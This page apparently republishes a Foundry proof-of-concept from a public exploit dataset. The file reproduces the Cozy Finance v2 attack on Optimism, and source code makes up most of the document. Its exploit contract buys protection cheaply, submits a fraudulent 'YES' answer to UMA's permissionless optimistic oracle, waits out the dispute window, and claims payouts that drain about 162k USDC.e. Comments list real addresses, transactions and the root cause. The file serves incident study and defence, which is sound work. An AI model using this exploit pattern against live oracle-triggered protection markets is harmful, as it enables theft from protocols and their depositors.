Public reproduction file
src/test/2026-09/CozyFinance_exp.sol
Public reproduction file for dataset entry CozyFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.16;4import "forge-std/Test.sol";5import {IERC20} from "forge-std/interfaces/IERC20.sol";7// Cozy Finance (v2) protection-market exploit — Optimism. An attacker drained the entire USDC.e8// reserve of a Cozy Set by feeding a fraudulent "YES, the protocol was hacked" answer through the9// permissionless UMA Optimistic Oracle, letting the dispute window pass unchallenged, and then10// claiming the full protection payout on tokens they had just bought at a tiny premium.11//12// Exploit txs (Optimism):13// TX1 (freeze) : 0x53b454a3f552c5498994f74ae8737faa60123cac274bdd3b0383ccb226b3f2cb (block 156364035)14// TX2 (drain) : 0x8761164b8947a0690b57896a8e7370dd69fe8e9137ce61e0b21ff08581a2ce60 (block 156580507)15// Attacker EOA : 0x003FE7359A4E03C85Ac2f521eC699ED84C7c5ccB16// Victim Set : 0x17705474203f7ff7ba8a940c433ab43d1f58e249 (EIP-1167 clone of set logic 0x17aff89b)17// Triggers : 0xeb6613FAc35FeD17c276e3fE45d67da67685F1eF (market 5, "Did Aave v2 get hacked?")18// 0xacd105feea362d5c27caaba0b45f53d91b92de27 (market 0)19// UMA OOv2 : 0x255483434aba5a75dc60c1391bB162BCd9DE288220// Asset (payout) : 0x7F5c764cBc14f9669B88837ca1490cCa17c31607 (USDC.e, 6 decimals)21//22// The two on-chain txs are ~216k blocks (~5 days) apart because the UMA proposal has a 432,000s23// (5-day) custom liveness. TX1 buys protection and proposes the fraudulent YES answer (freezing the24// markets); TX2, after the liveness elapsed, settles the oracle and claims the payout. This PoC25// reproduces both steps with a warp in between.26//27// ROOT CAUSE (verified against the trigger's on-chain verified source, contract "UMATrigger" at28// 0xeb6613...; and against the two attack traces — NOT a key/signer compromise):29//30// 1. UMATrigger._submitRequestToOracle() posts a YES_OR_NO_QUERY to UMA's OptimisticOracleV2 as31// an event-based request. Anyone may answer it: OptimisticOracleV2.proposePrice(...) is32// permissionless (the proposer just posts the bond). The trigger's priceProposed() callback33// does NOT verify that the underlying event (an Aave v2 hack) actually happened — it only34// reverts if the proposed price is anything other than AFFIRMATIVE_ANSWER (1e18). So a bare35// "YES" proposal from an arbitrary address is accepted and freezes the market.36//37// 2. If the proposal is not disputed within the liveness window, priceSettled() is invoked with38// the AFFIRMATIVE answer and calls _updateTriggerState(TRIGGERED). There is no secondary39// verification beyond "the proposal went unchallenged". runProgrammaticCheck() lets anyone40// drive that settlement.41//42// 3. Cozy protection-token (CPT) eligibility is not snapshotted before the proposal. The attacker43// buys protection (mints CPT via Set.purchase) at the normal small premium in the SAME tx as44// the proposal, then — once the trigger flips to TRIGGERED — redeems that CPT via Set.claim45// for the full protected notional, draining the Set's reserve.46//47// CONFIRMED PERMISSIONLESS: in the real TX1 the attacker's own contract (not the Cozy owner) calls48// OptimisticOracleV2.proposePrice directly; priceProposed only checks msg.sender == oracle and49// proposedPrice == AFFIRMATIVE. In the real TX2 the attacker's contract calls the trigger's50// runProgrammaticCheck() directly to settle. No privileged access anywhere in the path.51//52// Function names below are the exact 4-byte matches for the selectors seen in the traces. The53// UMATrigger and OptimisticOracleV2 signatures are from verified source. The Cozy Set logic54// (0x17aff89b) is unverified on Optimistic Etherscan, so its selectors were recovered by keccak55// match: purchase(uint16,uint256,address)=0xf09b77db, claim(uint16,uint256,address,address)=56// 0x06af14f1, markets(uint256)=0xb1283e77, setState()=0x1203402f.57//58// Run:59// forge test --contracts src/test/2026-09/CozyFinance_exp.sol -vvv61interface IOptimisticOracleV2 {62 // Verified source (UMATrigger's embedded OptimisticOracleV2Interface). Permissionless: any63 // address may propose an answer by posting the bond. Returns the total bond posted.64 function proposePrice(65 address requester,66 bytes32 identifier,67 uint256 timestamp,68 bytes memory ancillaryData,69 int256 proposedPrice70 ) external returns (uint256 totalBond);71}73// Cozy UMATrigger (verified source at 0xeb6613...). Only the getters/entry points this PoC touches.74interface IUMATrigger {75 function oracle() external view returns (address);76 function query() external view returns (string memory);77 function requestTimestamp() external view returns (uint256);78 function queryIdentifier() external view returns (bytes32);79 function bondAmount() external view returns (uint256);80 function rewardToken() external view returns (address);81 function proposalDisputeWindow() external view returns (uint256);82 function state() external view returns (uint8); // 0=ACTIVE, 1=FROZEN, 2=TRIGGERED83 // Settles the oracle answer (invoking priceSettled) and, on AFFIRMATIVE, flips to TRIGGERED.84 function runProgrammaticCheck() external returns (uint8);85}87// Cozy Set (market container). The 13-field market tuple layout is taken directly from the on-chain88// markets(uint256) return; only ptoken and trigger are used here.89interface ICozySet {90 struct Market {91 address ptoken; // Cozy protection token (CPT) for this market92 address trigger;93 address costModel;94 address dripDecayModel;95 uint16 weight;96 uint16 purchaseFeeReserveFactor;97 uint16 saleFeeReserveFactor;98 uint8 state;99 uint256 activeProtection;100 uint256 lastDecayRate;101 uint256 lastDripRate;102 uint256 purchasesFeePool;103 uint256 lastDecayTime;104 }106 function markets(uint256 marketId) external view returns (Market memory);107 function setState() external view returns (uint8);108 function asset() external view returns (address);109 // Quote the premium for buying `protection` of coverage on `marketId`. First return value is the110 // total cost (in the Set asset) that must be transferred to the Set before calling purchase.111 function previewPurchase(uint16 marketId, uint256 protection) external view returns (uint256 totalCost);112 // Buy `protection` of coverage for `marketId`, minting CPT to `receiver`; pulls the premium.113 function purchase(uint16 marketId, uint256 protection, address receiver)114 external115 returns (uint256 totalCost, uint256 supplierFeeAmount);116 // Redeem CPT for the payout once the market is TRIGGERED.117 function claim(uint16 marketId, uint256 protectionTokens, address receiver, address owner)118 external119 returns (uint256 amount);120}122contract CozyFinance_exp is Test {123 address internal constant ATTACKER = 0x003FE7359A4E03C85Ac2f521eC699ED84C7c5ccB;124 ICozySet internal constant SET = ICozySet(0x17705474203F7ff7ba8a940c433AB43D1F58E249);125 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);126 address internal constant TRIGGER1 = 0xeB6613FAC35fED17c276e3FE45D67Da67685f1eF; // market 5127 address internal constant TRIGGER2 = 0xaCD105FEEa362D5c27CAAbA0B45F53D91B92dE27; // market 0128 address internal constant UMA_OO = 0x255483434aba5a75dc60c1391bB162BCd9DE2882;130 // The two markets the attacker hit and the exact protection amounts bought (from the TX1 trace).131 // Their sum (162,312.70 USDC) equals the Set's entire USDC.e reserve at the fork block.132 uint16[2] internal MARKET_IDS = [uint16(5), uint16(0)];133 uint256[2] internal PROTECTION = [uint256(96_596_967_870), uint256(65_715_735_793)];135 CozyFinanceExploit internal exploit;137 function setUp() public {138 // Parent block of TX1: real protocol state immediately before the attack.139 vm.createSelectFork("optimism", 156_364_034);141 exploit = new CozyFinanceExploit(ATTACKER);143 // Seed the exploit with the attacker's OWN working capital: ~2,631 USDC of premiums plus144 // 2 x 1,000 USDC of UMA bonds/fees. This is not the stolen money — the drained reserve comes145 // out of the Set. 10k is a safe upper bound for premium + bond.146 deal(address(USDC), address(exploit), 10_000e6);148 vm.label(ATTACKER, "Attacker");149 vm.label(address(exploit), "Exploit");150 vm.label(address(SET), "CozySet(victim)");151 vm.label(address(USDC), "USDC.e");152 vm.label(TRIGGER1, "UMATrigger(Aave-v2)");153 vm.label(TRIGGER2, "UMATrigger(market0)");154 vm.label(UMA_OO, "UMA_OptimisticOracleV2");155 }157 function testExploit() public {158 uint256 setReserveBefore = USDC.balanceOf(address(SET));159 uint256 seedCapital = USDC.balanceOf(address(exploit));160 emit log_named_decimal_uint("Set USDC.e reserve before", setReserveBefore, 6);161 emit log_named_decimal_uint("attacker seed capital (own funds)", seedCapital, 6);163 // markets start ACTIVE164 assertEq(SET.markets(5).state, 0, "market5 should start ACTIVE");165 assertEq(SET.markets(0).state, 0, "market0 should start ACTIVE");167 // ---- TX1: buy protection cheaply, then submit the fraudulent unchallenged YES proposals ----168 vm.prank(ATTACKER, ATTACKER);169 exploit.buyAndPropose(MARKET_IDS, PROTECTION);171 // Both markets are now FROZEN by the accepted YES proposals (priceProposed callback).172 assertEq(IUMATrigger(TRIGGER1).state(), 1, "trigger1 should be FROZEN after YES proposal");173 assertEq(IUMATrigger(TRIGGER2).state(), 1, "trigger2 should be FROZEN after YES proposal");175 // ---- let the UMA dispute/liveness window (432,000s) elapse with no dispute ----176 vm.warp(block.timestamp + IUMATrigger(TRIGGER1).proposalDisputeWindow() + 1);178 // ---- TX2: settle the oracle (flip to TRIGGERED) and claim the full payout ----179 vm.prank(ATTACKER, ATTACKER);180 exploit.settleAndDrain(MARKET_IDS);182 // Both triggers accepted the unchallenged YES answer as a real event -> TRIGGERED.183 assertEq(IUMATrigger(TRIGGER1).state(), 2, "trigger1 should be TRIGGERED");184 assertEq(IUMATrigger(TRIGGER2).state(), 2, "trigger2 should be TRIGGERED");186 uint256 attackerProfit = USDC.balanceOf(ATTACKER); // attacker EOA started with 0 USDC.e187 uint256 setReserveAfter = USDC.balanceOf(address(SET));188 uint256 setDrained = setReserveBefore - setReserveAfter;190 emit log_named_decimal_uint("Set USDC.e reserve after", setReserveAfter, 6);191 emit log_named_decimal_uint("Set USDC.e drained", setDrained, 6);192 emit log_named_decimal_uint("attacker USDC.e profit (net of seed)", attackerProfit - seedCapital, 6);194 // Profit is measured in USDC.e (the Set's payout asset). The attacker swept ~163k USDC.e to195 // its EOA; net of the ~2.6k premium it seeded, that is ~$160k, matching the reported loss.196 assertGt(setDrained, 150_000e6, "should drain ~the full Set reserve");197 assertGt(attackerProfit - seedCapital, 150_000e6, "attacker net profit should be ~$160k USDC.e");198 }199}201// Named attacker contract. Mirrors the two on-chain txs: buyAndPropose == TX1, settleAndDrain == TX2.202// Every call is a real call against the victim's actual functions (no bytecode, no calldata replay).203contract CozyFinanceExploit {204 ICozySet internal constant SET = ICozySet(0x17705474203F7ff7ba8a940c433AB43D1F58E249);205 IERC20 internal constant USDC = IERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607);206 int256 internal constant AFFIRMATIVE_YES = 1e18;208 address public immutable owner;210 constructor(address _owner) {211 owner = _owner;212 }214 // TX1 equivalent: for each target market, buy protection (mint CPT to self) and then push a215 // fraudulent YES answer into the permissionless UMA oracle for that market's trigger.216 function buyAndPropose(uint16[2] calldata marketIds, uint256[2] calldata protection) external {217 for (uint256 i = 0; i < marketIds.length; i++) {218 ICozySet.Market memory m = SET.markets(marketIds[i]);219 IUMATrigger trig = IUMATrigger(m.trigger);221 // 1) Acquire CPT through the normal market mechanism. This Set uses a transfer-then-call222 // payment pattern: quote the premium, transfer exactly that to the Set, then purchase223 // (purchase credits the balance delta as payment). Premium is ~1.3-1.4% of notional.224 uint256 premium = SET.previewPurchase(marketIds[i], protection[i]);225 USDC.transfer(address(SET), premium);226 SET.purchase(marketIds[i], protection[i], address(this));228 // 2) Submit an unchallenged YES=1e18 answer to the trigger's UMA request. Permissionless:229 // this contract is neither the Cozy owner nor a privileged proposer; it just posts the230 // bond. The trigger's priceProposed callback accepts it and freezes the market.231 IOptimisticOracleV2 oo = IOptimisticOracleV2(trig.oracle());232 USDC.approve(address(oo), type(uint256).max);233 oo.proposePrice(234 m.trigger, trig.queryIdentifier(), trig.requestTimestamp(), bytes(trig.query()), AFFIRMATIVE_YES235 );236 }237 }239 // TX2 equivalent: after liveness, settle each oracle answer (flipping the trigger to TRIGGERED)240 // and then redeem all held CPT for the payout, draining the Set. Sweep proceeds to the EOA.241 function settleAndDrain(uint16[2] calldata marketIds) external {242 // Settle first: runProgrammaticCheck -> oracle.settle -> priceSettled(YES) -> TRIGGERED.243 for (uint256 i = 0; i < marketIds.length; i++) {244 IUMATrigger(SET.markets(marketIds[i]).trigger).runProgrammaticCheck();245 }247 // Claim: the Set caps how much can be redeemed per call, so loop until CPT is fully burned248 // (this is exactly why the real TX2 issued ~55 claim calls per market).249 for (uint256 i = 0; i < marketIds.length; i++) {250 IERC20 cpt = IERC20(SET.markets(marketIds[i]).ptoken);251 for (uint256 j = 0; j < 500; j++) {252 uint256 bal = cpt.balanceOf(address(this));253 if (bal == 0) break;254 SET.claim(marketIds[i], bal, address(this), address(this));255 if (cpt.balanceOf(address(this)) == bal) break; // no progress -> Set exhausted256 }257 }259 USDC.transfer(owner, USDC.balanceOf(address(this)));260 }261}Analysis
Dataset entry
Public Foundry test for “CozyFinance” (2026-09-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol, forge-std/interfaces/IERC20.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x003fe7359a4e03c85ac2f521ec699ed84c7c5ccb
- Victim
0x17705474203f7ff7ba8a940c433ab43d1f58e249
File record
- Name
- CozyFinance
- Path
- src/test/2026-09/CozyFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 1c369c81d7ddce3ea1312760163a7beadd31a8b9
- Language
- Solidity
- Size
- 262 lines
- Date
- 2026-09-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/CozyFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1c369c81d7ddce3ea1312760163a7beadd31a8b9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.